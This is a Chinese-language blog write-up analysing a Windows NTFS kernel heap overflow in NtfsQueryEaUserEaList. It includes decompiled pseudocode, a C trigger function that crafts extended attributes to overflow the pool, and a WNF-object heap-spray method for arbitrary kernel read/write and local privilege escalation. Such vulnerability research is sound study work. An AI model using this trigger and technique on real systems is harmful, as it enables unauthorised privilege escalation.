赞
踩
该漏洞发生在 Ntfs.sys文件中,由于该系统程序在处理文件额外信息查询时,对相关对象检查不严谨导致堆溢出,攻击者可以利用该漏洞进行本地权限提升。
windows_10:-:*:*:*:*:*:*:* windows_10:20h2:*:*:*:*:*:*:* windows_10:21h1:*:*:*:*:*:*:* windows_10:1607:*:*:*:*:*:*:* windows_10:1809:*:*:*:*:*:*:* windows_10:1909:*:*:*:*:*:*:* windows_10:2004:*:*:*:*:*:*:* windows_7:-:sp1:*:*:*:*:*:* windows_8.1:-:*:*:*:*:*:*:* windows_rt_8.1:-:*:*:*:*:*:*:* windows_server_2008:r2:sp1:*:*:*:*:x64:* windows_server_2008:sp2:*:*:*:*:*:*:* windows_server_2012:-:*:*:*:*:*:*:* windows_server_2012:r2:*:*:*:*:*:*:* windows_server_2016:-:*:*:*:*:*:*:* windows_server_2016:20h2:*:*:*:*:*:*:* windows_server_2016:2004:*:*:*:*:*:*:* windows_server_2019:-:*:*:*:*:*:*:*
7.8 | 高危
扩展文件属性(EA)是文件系统的一个功能。它允许用户将计算机文件与未被文件系统所解释的元数据关联起来。与之相对应的是正规文件属性,其具有经文件系统严格定义的意义(例如文件系统权限或者文件创建以及修改时间等)。与通常能具有最大文件大小的forks不同,扩展文件属性通常被限制为远小于最大文件大小。其典型应用包括存储文档作者、普通文本文件的字符编码或者校验码。
对文件 EA进行读写的 API及其定义如下:
// 设置文件的扩展属性 (EA) 值
NTSTATUS ZwSetEaFile(
[in] HANDLE FileHandle, // 要对其执行操作的文件的句柄
[out] PIO_STATUS_BLOCK IoStatusBlock, // 该结构接收最终完成状态和有关请求操作的其他信息。
[in] PVOID Buffer, // 指向调用者提供的 FILE_FULL_EA_INFORMATION 输入缓冲区的指针,其中包含要设置的扩展属性值。
[in] ULONG Length // 缓冲区大小
);
// 返回有关文件的扩展属性 (EA) 值的信息
NTSTATUS ZwQueryEaFile(
[in] HANDLE FileHandle, // 要对其执行操作的文件的句柄。
[out] PIO_STATUS_BLOCK IoStatusBlock, // 接收有关请求操作的最终完成状态和其他信息。
[out] PVOID Buffer, // 指向调用者提供的指针 FILE_FULL_EA_INFORMATION 输出缓冲区,其中将返回扩展的属性值。
[in] ULONG Length, // 缓冲区的长度(以字节为单位)
[in] BOOLEAN ReturnSingleEntry, // 如果设置为True,则只返回一个找到的条目,False则返回多个
[in, optional] PVOID EaList, // 指向调用者提供的指针 FILE_GET_EA_INFORMATION 输入,指定要查询的扩展属性。 该参数是可选的,可以是NULL 。
[in] ULONG EaListLength, // EaList的大小
[in, optional] PULONG EaIndex, // 应该开始扫描文件的扩展属性列表的条目的索引。该参数可选,可以是NULL
[in] BOOLEAN RestartScan // 如果为TRUE则表示从EaIndex位置开始检索,如果为FALSE,则用从上一次调用ZwQueryEaFile 返回的值作为当前检索的起点进行检索
);
设置为 TRUE 如果 Z w Q u e r y E a F i l e \textcolor{cornflowerblue}{ZwQueryEaFile } ZwQueryEaFile应该在第一个开始扫描文件的扩展属性列表中的条目。 如果此参数设置为 FALSE ,则例程从先前的调用恢复扫描 Z w Q u e r y E a F i l e \textcolor{cornflowerblue}{ZwQueryEaFile } ZwQueryEaFile。
上述对文件的 EA进行写入时涉及到一个重要的结构体
typedef struct _FILE_FULL_EA_INFORMATION {
ULONG NextEntryOffset; // 下一个 FILE_FULL_EA_INFORMATION 类型条目的偏移量。 如果此成员后面没有其他条目,则此成员为零。
UCHAR Flags; // 可以为0也可以用 FILE_NEED_EA 设置,表示如果不了解相关的扩展属性就无法解释 EA 所属的文件。
UCHAR EaNameLength; // EaName 的长度
USHORT EaValueLength; // EA 值的字节长度
CHAR EaName[1]; // 该条目命名 EA 的字符数组
} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;
上诉对文件的 EA进行读取时涉及到一个重要的结构体
漏洞位于 N t f s Q u e r y E a U s e r E a L i s t \textcolor{cornflowerblue}{NtfsQueryEaUserEaList} NtfsQueryEaUserEaList函数中,该函数伪代码如下:
IO_STATUS_BLOCK *__fastcall NtfsQueryEaUserEaList(IO_STATUS_BLOCK *retstr, _FILE_FULL_EA_INFORMATION *CurrentEas, _EA_INFORMATION *EaInformation, _FILE_FULL_EA_INFORMATION *EaBuffer, __int64 UserBufferLength, _FILE_GET_EA_INFORMATION *UserEaList, unsigned int a5, char ReturnSingleEntry) { ... EaBuffer_1 = EaBuffer; EaInformation_1 = EaInformation; CurrentEas_1 = CurrentEas; v8 = retstr; v9 = 0; retstr->Pointer = 0i64; v25 = 0i64; v10 = 0; Offset = 0; PrevEaPadding = 0; retstr->Information = 0i64; while ( 1 ) { GetEa = (UserEaList + v10); GeaName[0] = 0i64; GeaName[1] = 0i64; v27 = 0i64; v28 = 0i64; GeaName[0] = *(&UserEaList->EaNameLength + v10); WORD1(GeaName[0]) = GeaName[0]; GeaName[1] = GetEa + 5; RtlUpperString(GeaName, GeaName); if ( !NtfsIsEaNameValid(GeaName) ) break; v13 = GetEa->NextEntryOffset; v14 = GetEa->EaNameLength; v23 = GetEa->NextEntryOffset + v10; for ( CurrentEalist = UserEaList; ; CurrentEalist = (CurrentEalist + CurrentEalist->NextEntryOffset) ) { if ( CurrentEalist == GetEa ) { t_offset = Offset; NextFullEa = (EaBuffer_1 + PrevEaPadding + Offset); if ( NtfsLocateEaByName(CurrentEas_1, EaInformation_1->UnpackedEaSize, GeaName, &FeaOffset) ) { ThisEa = (CurrentEas_1 + FeaOffset); RawEaSize = ThisEa->EaValueLength + ThisEa->EaNameLength + 9; if ( RawEaSize <= UserBufferLength - PrevEaPadding )// 存在整数溢出 { memmove(NextFullEa, ThisEa, RawEaSize);// 内存溢出 NextFullEa->NextEntryOffset = 0; goto LABEL_8; } } else { ... if ( RawEaSize + PrevEaPadding <= UserBufferLength ) { ... LABEL_8: v19 = RawEaSize + PrevEaPadding + t_offset; Offset = v19; if ( !a5 ) { if ( v25 ) v25->NextEntryOffset = NextFullEa - v25; if ( GetEa->NextEntryOffset ) { v25 = NextFullEa; LODWORD(UserBufferLength) = UserBufferLength - (RawEaSize + PrevEaPadding); PrevEaPadding = ((RawEaSize + 3) & 0xFFFFFFFC) - RawEaSize; goto LABEL_26; } } LABEL_12: v8->Information = v19; LABEL_13: v8->Status = v9; return v8; } } v22 = NtfsStatusDebugFlags; v8->Information = 0i64; if ( v22 ) NtfsStatusTraceAndDebugInternal(0i64, 0x80000005i64, 919407i64); v9 = 0x80000005; goto LABEL_13; } if ( v14 == CurrentEalist->EaNameLength && !memcmp(&GetEa->EaName, &CurrentEalist->EaName, v14) ) break; } if ( !v13 ) { v19 = Offset; goto LABEL_12; } LABEL_26: v10 = v23; } ... return v8; }
总体是个大循环,不断遍历 FILE_FULL_EA_INFORMATION
类型的数组,根据用户给定的 FILE_GET_EA_INFORMATION
,找出目标文件的 EA信息。
@line:42 UserBufferLength是有符号数,RawEaSize和 PrevEaPadding是无符号数,进行比较的时候 UserBufferLength会自动视为无符号数。假设 UserBufferLength可以为 0的话,这一处 if检查将会失效,如果 RawEaSize可控的话可能会导致内存溢出。NextFullEa在函数 N t f s C o m m o n Q u e r y E a \textcolor{cornflowerblue}{NtfsCommonQueryEa} NtfsCommonQueryEa中进行分配
IO_STATUS_BLOCK CurrentEas; ... size = *((unsigned int *)CurrentEas.Pointer + 2); ... if ( (_DWORD)size ) { v17 = (_FILE_FULL_EA_INFORMATION *)NtfsMapUserBuffer(a2, 16i64); ... if ( a2[4].m128i_i8[0] ) { ... KernelBuffer = (_FILE_FULL_EA_INFORMATION *)ExAllocatePoolWithTag((POOL_TYPE)17, (unsigned int)size, 'EFtN'); *(_QWORD *)&v31[4] = KernelBuffer; v29 = 1; } memset(KernelBuffer, 0, size); ... } ... if ( v29 ) ExFreePoolWithTag(KernelBuffer, 0); ...
而 N t f s C o m m o n Q u e r y E a \textcolor{cornflowerblue}{NtfsCommonQueryEa} NtfsCommonQueryEa的应用层接口是 Z w Q u e r y E a F i l e \textcolor{cornflowerblue}{ZwQueryEaFile} ZwQueryEaFile。
@line:65 每读取到一个 EA信息之后,UserBufferLength会减去当前读取到的 EA大小,因此 UserBufferLength会递减,总会有小于 PrevEaPadding的那一刻。
@line:66 RawEaSize是按 4字节对齐的,如果实际 EA的大小不足 4字节,多出来的那部分就是 PrevEaPadding,只有 0/1/2/3 这 4种取值。
为了触发溢出漏洞,首先需要创建一个文件,并设置 EA。该文件的 EA应该包含两个值,第一个值对应的键名记为 TRIGGER_EA_NAME,目的是让系统查询完这个值后,UserBufferLength小于 PrevEaPadding,并且 PrevEaPadding大于 0,这样在查询第二个 EA的时候能够使检测溢出的条件判断失效。第二个值对应的键名记为 OVER_EA_NAME,目的是控制 RawEaSize的大小,从而控制溢出的字节数。因此代码如下:
#define TIGGER_EA_NAME "brucy" #define OVER_EA_NAME "hack" #define TIGGER_EA_NAME_LENGTH (UCHAR)(strlen(TIGGER_EA_NAME)) #define OVER_EA_NAME_LENGTH (UCHAR)(strlen(OVER_EA_NAME)) #define KERNAL_ALLOC_SIZE 0xF7 #define FRIST_RAWSIZE ((KERNAL_ALLOC_SIZE) - (1)) #define TIGGER_EA_VALUE_LENGTH ((FRIST_RAWSIZE) - (TIGGER_EA_NAME_LENGTH) -(9)) void Exploit() { HANDLE hFile = INVALID_HANDLE_VALUE; PFILE_GET_EA_INFORMATION ea_get_info_ref = NULL; PFILE_FULL_EA_INFORMATION p_ea_full_info = NULL; IO_STATUS_BLOCK iostb; NTSTATUS ntst = 1; DWORD retSize; char revBuf[KERNAL_ALLOC_SIZE] = { 0 }; const char* data = "AAAAAAAAAAAAAAAA"; hFile = CreateFileA("payload", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { printf("[Error_%d] Exploit(): CreateFileA failed.\n", __LINE__); goto clean; } if (!WriteFile(hFile, data, strlen(data), &retSize, NULL)) { printf("[Error_%d] Exploit(): Write data for file failed.\n", __LINE__); goto clean; } p_ea_full_info = (PFILE_FULL_EA_INFORMATION)g_Payload; //先伪造第一个EA信息 p_ea_full_info->Flags = 0; p_ea_full_info->EaNameLength = TIGGER_EA_NAME_LENGTH; p_ea_full_info->EaValueLength = TIGGER_EA_VALUE_LENGTH; // 根据结构体官方说明需按4字节对齐 p_ea_full_info->NextEntryOffset = (p_ea_full_info->EaNameLength + p_ea_full_info->EaValueLength + 9 + 3)& (~3); memcpy(p_ea_full_info->EaName , TIGGER_EA_NAME, TIGGER_EA_NAME_LENGTH); RtlFillMemory(p_ea_full_info->EaName + p_ea_full_info->EaNameLength + 1, TIGGER_EA_VALUE_LENGTH, 'A'); //伪造第二个EA信息 p_ea_full_info->Flags = 0; p_ea_full_info = (PFILE_FULL_EA_INFORMATION)((char*)p_ea_full_info + p_ea_full_info->NextEntryOffset); p_ea_full_info->EaNameLength = OVER_EA_NAME_LENGTH; p_ea_full_info->EaValueLength = OVER_EA_VALUE_LENGTH; p_ea_full_info->NextEntryOffset = 0; memcpy(p_ea_full_info ->EaName, OVER_EA_NAME, OVER_EA_NAME_LENGTH); RtlFillMemory(p_ea_full_info->EaName + p_ea_full_info->EaNameLength + 1, OVER_EA_VALUE_LENGTH, 0); //设置EA ntst = ZwSetEaFile(hFile, &iostb, g_Payload, sizeof(g_Payload)); if (ntst != 0) { printf("[Error_%d] Exploit(): call ZwSetEaFile failed.\n", __LINE__); goto clean; } ea_get_info_ref = (PFILE_GET_EA_INFORMATION)malloc(100); memset(ea_get_info_ref, 0, 100); memcpy(ea_get_info_ref->EaName, TIGGER_EA_NAME, TIGGER_EA_NAME_LENGTH); ea_get_info_ref->EaNameLength = TIGGER_EA_NAME_LENGTH; //与设置EA是的结构体对应,需按4字节对齐 ea_get_info_ref->NextEntryOffset = (sizeof(FILE_GET_EA_INFORMATION) + TIGGER_EA_NAME_LENGTH)&(~3); ea_get_info_ref = (PFILE_GET_EA_INFORMATION)((PCHAR)ea_get_info_ref + 12); memcpy(ea_get_info_ref->EaName, OVER_EA_NAME, OVER_EA_NAME_LENGTH); ea_get_info_ref->EaNameLength = OVER_EA_NAME_LENGTH; ea_get_info_ref->NextEntryOffset = 0; ea_get_info_ref= (PFILE_GET_EA_INFORMATION)((PCHAR)ea_get_info_ref -12); __debugbreak(); ZwQueryEaFile(hFile, &iostb,revBuf, KERNAL_ALLOC_SIZE,false, ea_get_info_ref,100,0,true); clean: if(hFile!=INVALID_HANDLE_VALUE) CloseHandle(hFile); if(ea_get_info_ref) free(ea_get_info_ref); }
动态调试,观察一下是否成功溢出。这是查询 EA中第一个值前
查询 EA中第二个值前
执行完内存拷贝后
发现与 NextFullEa邻近的下个堆块被溢出破坏了,但是有个比较神奇的现象就是操作系统并不会马上崩溃,还能正常工作。而被覆盖掉的这部分数据,其实是POOL_HEADER
结构。
在考虑如何利用之前需要补充一些基础知识,就是关于 Windows10内核堆的结构。
Windows10引入了新的堆管理方式与应用层类似,新增了一个段表 Segment Heap。每个堆块由一个堆头来记录元数据,共 16字节大小。
+0x000 PreviousSize : Pos 0, 8 Bits +0x000 PoolIndex : Pos 8, 8 Bits +0x002 BlockSize : Pos 0, 8 Bits +0x002 PoolType : Pos 8, 8 Bits +0x000 Ulong1 : Uint4B +0x004 PoolTag : Uint4B +0x008 ProcessBilled : Ptr64 _EPROCESS +0x008 AllocatorBackTraceIndex : Uint2B +0x00a PoolTagHash : Uint2B
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
在该漏洞环境下,NextFullEa所在的堆块属于临时堆,在函数 N t f s C o m m o n Q u e r y E a \textcolor{cornflowerblue}{NtfsCommonQueryEa} NtfsCommonQueryEa调用结束就会被释放,所以不能使用 S e g m e n t H e a p A l i g n e d C h u n k C o n f u s i o n \textcolor{orange}{SegmentHeap\ Aligned\ Chunk\ Confusion} SegmentHeap Aligned Chunk Confusion的方式利用。
网上公开的 POC利用 _WNF_NAME_INSTANCE
和_WNF_STATE_DATA
实现提权,我在这里作为学习记录一下。
_WNF_STATE_DATA
简单理解为一个内核数据存储器,通过函数
N
t
C
r
e
a
t
e
W
n
f
S
t
a
t
e
N
a
m
e
\textcolor{cornflowerblue}{NtCreateWnfStateName}
NtCreateWnfStateName创建一个 _WNF_NAME_INSTANCE
的实例 WNF。
N t C r e a t e W n f S t a t e N a m e \textcolor{cornflowerblue}{NtCreateWnfStateName} NtCreateWnfStateName定义:
typedef NTSTATUS (NTAPI * NtCreateWnfStateName)(
_Out_ PWNF_STATE_NAME StateName,
_In_ WNF_STATE_NAME_LIFETIME NameLifetime,
_In_ WNF_DATA_SCOPE DataScope,
_In_ BOOLEAN PersistData,
_In_opt_ PCWNF_TYPE_ID TypeId,
_In_ ULONG MaximumStateSize,
_In_ PSECURITY_DESCRIPTOR SecurityDescriptor
);
该函数会在内核中创建一个 _WNF_NAME_INSTANCE
结构:
if ( PsInitialSystemProcess == a4 || (_DWORD)v7 != 3 )
{
v10 = 0xB8i64;
if ( !v5 )
v10 = 0xA8i64;
v11 = ExAllocatePoolWithTag(PagedPool, v10, ' fnW');
}
else
{
v28 = 184i64;
if ( !v5 )
v28 = 168i64;
v11 = ExAllocatePoolWithQuotaTag((POOL_TYPE)9, v28, ' fnW');
}
_WNF_NAME_INSTANCE
的大小为 0xB8
可以通过
N
t
U
p
d
a
t
e
W
n
f
S
t
a
t
e
D
a
t
a
\textcolor{cornflowerblue}{NtUpdateWnfStateData}
NtUpdateWnfStateData向对象写入数据,并以_WNF_STATE_DATA
结构存储写入的数据;
N t U p d a t e W n f S t a t e D a t a \textcolor{cornflowerblue}{NtUpdateWnfStateData} NtUpdateWnfStateData定义:
typedef NTSTATUS (NTAPI * NtUpdateWnfStateData)(
_In_ PWNF_STATE_NAME StateName,
_In_reads_bytes_opt_(Length) const VOID * Buffer,
_In_opt_ ULONG Length,
_In_opt_ PCWNF_TYPE_ID TypeId,
_In_opt_ const PVOID ExplicitScope,
_In_ WNF_CHANGE_STAMP MatchingChangeStamp,
_In_ ULONG CheckStamp);
函数
N
t
U
p
d
a
t
e
W
n
f
S
t
a
t
e
D
a
t
a
\textcolor{cornflowerblue}{NtUpdateWnfStateData}
NtUpdateWnfStateData会将数据写到 _WNF_NAME_INSTANCE
结构中的_WNF_STATE_DATA
域:
... v12 = Wnf_Name_Instance->StateData; if ( !v12 && (Wnf_Name_Instance->PermanentDataStore || (_DWORD)length_1) || (State_data = v12) != 0i64 && v12->AllocatedSize < (unsigned int)length_1 ) { ... v21 = (_WNF_STATE_DATA *)ExAllocatePoolWithQuotaTag((POOL_TYPE)9, (unsigned int)(length_1 + 16), 0x20666E57u); Alloc_Heap = v21; ... } ... if ( Wnf_Name_Instance->StateData != (_WNF_STATE_DATA *)1 ) State_data = Wnf_Name_Instance->StateData; if ( !State_data || State_data->AllocatedSize < (unsigned int)length_1 ) State_data = Alloc_Heap; ... memmove(&State_data[1], buffer, length_1); State_data->DataSize = length_1; State_data->ChangeStamp = i; ...
@line:4如果用户传进来的 S t a t e N a m e − > S t a t e D a t a − > A l l o c a t e d S i z e \textcolor{orange}{StateName->StateData->AllocatedSize} StateName−>StateData−>AllocatedSize小于用户指定写入数据的大小 length,则会将数据写入新创建的一个堆中,否则直接将数据写入到用户传进来的 S t a t e N a m e − > S t a t e D a t a \textcolor{orange}{StateName->StateData} StateName−>StateData。因此这里在后续利用的时候需要注意!
还有一处地方需要注意,这处地方也是我后知后觉的
__int64 __fastcall ExpWnfValidatePubSubPreconditions(ACCESS_MASK DesiredAccess, _WNF_STATE_NAME_REGISTRATION *StateInfo, unsigned int a3, _QWORD *a4, int a5)
{
...
v8 = v7->MaxStateSize < length ? 0xC000000D : 0;
}
return (unsigned int)v8;
}
可以通过 N t Q u e r y W n f S t a t e D a t a \textcolor{cornflowerblue}{NtQueryWnfStateData} NtQueryWnfStateData读取数据, N t Q u e r y W n f S t a t e D a t a \textcolor{cornflowerblue}{NtQueryWnfStateData} NtQueryWnfStateData定义如下:
typedef NTSTATUS (NTAPI * NtQueryWnfStateData)(
_In_ PWNF_STATE_NAME StateName,
_In_opt_ PWNF_TYPE_ID TypeId,
_In_opt_ const VOID * ExplicitScope,
_Out_ PWNF_CHANGE_STAMP ChangeStamp,
_Out_writes_bytes_to_opt_(*BufferSize, *BufferSize) PVOID Buffer,
_Inout_ PULONG BufferSize);
查询 StateData的核心代码:
StateData = StateName->StateData; ... *a2 = StateData->ChangeStamp; *a5 = StateData->DataSize; DataSize = StateData->DataSize; if ( BufferSize < DataSize ) { v14 = 0xC0000023; } else { memmove(Buffer, &StateData[1], DataSize); v14 = 0; } ... return v14
如果用户传递的 BufferSize小于 S t a t e D a t a − > D a t a S i z e \textcolor{orange}{StateData->DataSize} StateData−>DataSize,则返回失败,否则从 S t a t e D a t a [ 1 ] \textcolor{orange}{StateData[1]} StateData[1]开始,读取 DataSize个字节数据到用户提供的缓冲区 Buffer中。
可以使用 N t D e l e t e W n f S t a t e D a t a \textcolor{cornflowerblue}{NtDeleteWnfStateData} NtDeleteWnfStateData释放 WNF对象。
相关结构体定义如下:
0: kd> dt nt!_WNF_NAME_INSTANCE +0x000 Header : _WNF_NODE_HEADER +0x008 RunRef : _EX_RUNDOWN_REF +0x010 TreeLinks : _RTL_BALANCED_NODE +0x028 StateName : _WNF_STATE_NAME_STRUCT +0x030 ScopeInstance : Ptr64 _WNF_SCOPE_INSTANCE +0x038 StateNameInfo : _WNF_STATE_NAME_REGISTRATION +0x050 StateDataLock : _WNF_LOCK +0x058 StateData : Ptr64 _WNF_STATE_DATA +0x060 CurrentChangeStamp : Uint4B +0x068 PermanentDataStore : Ptr64 Void +0x070 StateSubscriptionListLock : _WNF_LOCK +0x078 StateSubscriptionListHead : _LIST_ENTRY +0x088 TemporaryNameListEntry : _LIST_ENTRY +0x098 CreatorProcess : Ptr64 _EPROCESS +0x0a0 DataSubscribersCount : Int4B +0x0a4 CurrentDeliveryCount : Int4B ----------------------------------------------------------- 0: kd> dt nt!_WNF_STATE_DATA +0x000 Header : _WNF_NODE_HEADER +0x004 AllocatedSize : Uint4B +0x008 DataSize : Uint4B +0x00c ChangeStamp : Uint4B
首先需要进行堆喷,构造出如下的堆布局
利用 Ntfs的堆溢出,覆盖修改相邻的 STATE_DATA
块的 AllocateSize和 DataSize成员,使其能够通过
N
t
Q
u
e
r
y
W
n
f
S
t
a
t
e
D
a
t
a
\textcolor{cornflowerblue}{NtQueryWnfStateData}
NtQueryWnfStateData和
N
t
U
p
d
a
t
e
W
n
f
S
t
a
t
e
D
a
t
a
\textcolor{cornflowerblue}{NtUpdateWnfStateData}
NtUpdateWnfStateData读取和修改到相邻的 WNF_NAME_INSTANCE
块数据。此时的修改和读取只是相对于内存进行,还没有实现任意内存的读写。
利用相对内存写修改邻近的 WNF_NAME_INSTANCE
结构的 StateData指针为任意内存地址,就能够实现任意内存读写了。
需要特别注意的就是 _WNF_STATE_DATA
只能进行有限的地址读写。这里的有限意思是说,如果要读写的目标地址中,没有合适的数据可以构造 AllocateSize和 DataSize,就不能对该地址进行读写,所以利用的时候需要按实际情况进行调整。
由于代码有些多,所以上传到资源里了,也想赚点资源积分。等到审核通过后再补贴上下载链接。
[1] https://bbs.pediy.com/thread-271140.htm#msg_header_h2_2
[2] https://baike.baidu.com/item/%E6%89%A9%E5%B1%95%E6%96%87%E4%BB%B6%E5%B1%9E%E6%80%A7/22784967
[3] https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_file_full_ea_information
[4] https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/79dc1ea1-158c-4b24-b0e1-8c16c7e2af6b
[5] https://zhuanlan.zhihu.com/p/450746447
[6] https://research.nccgroup.com/2021/07/15/cve-2021-31956-exploiting-the-windows-kernel-ntfs-with-wnf-part-1/
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。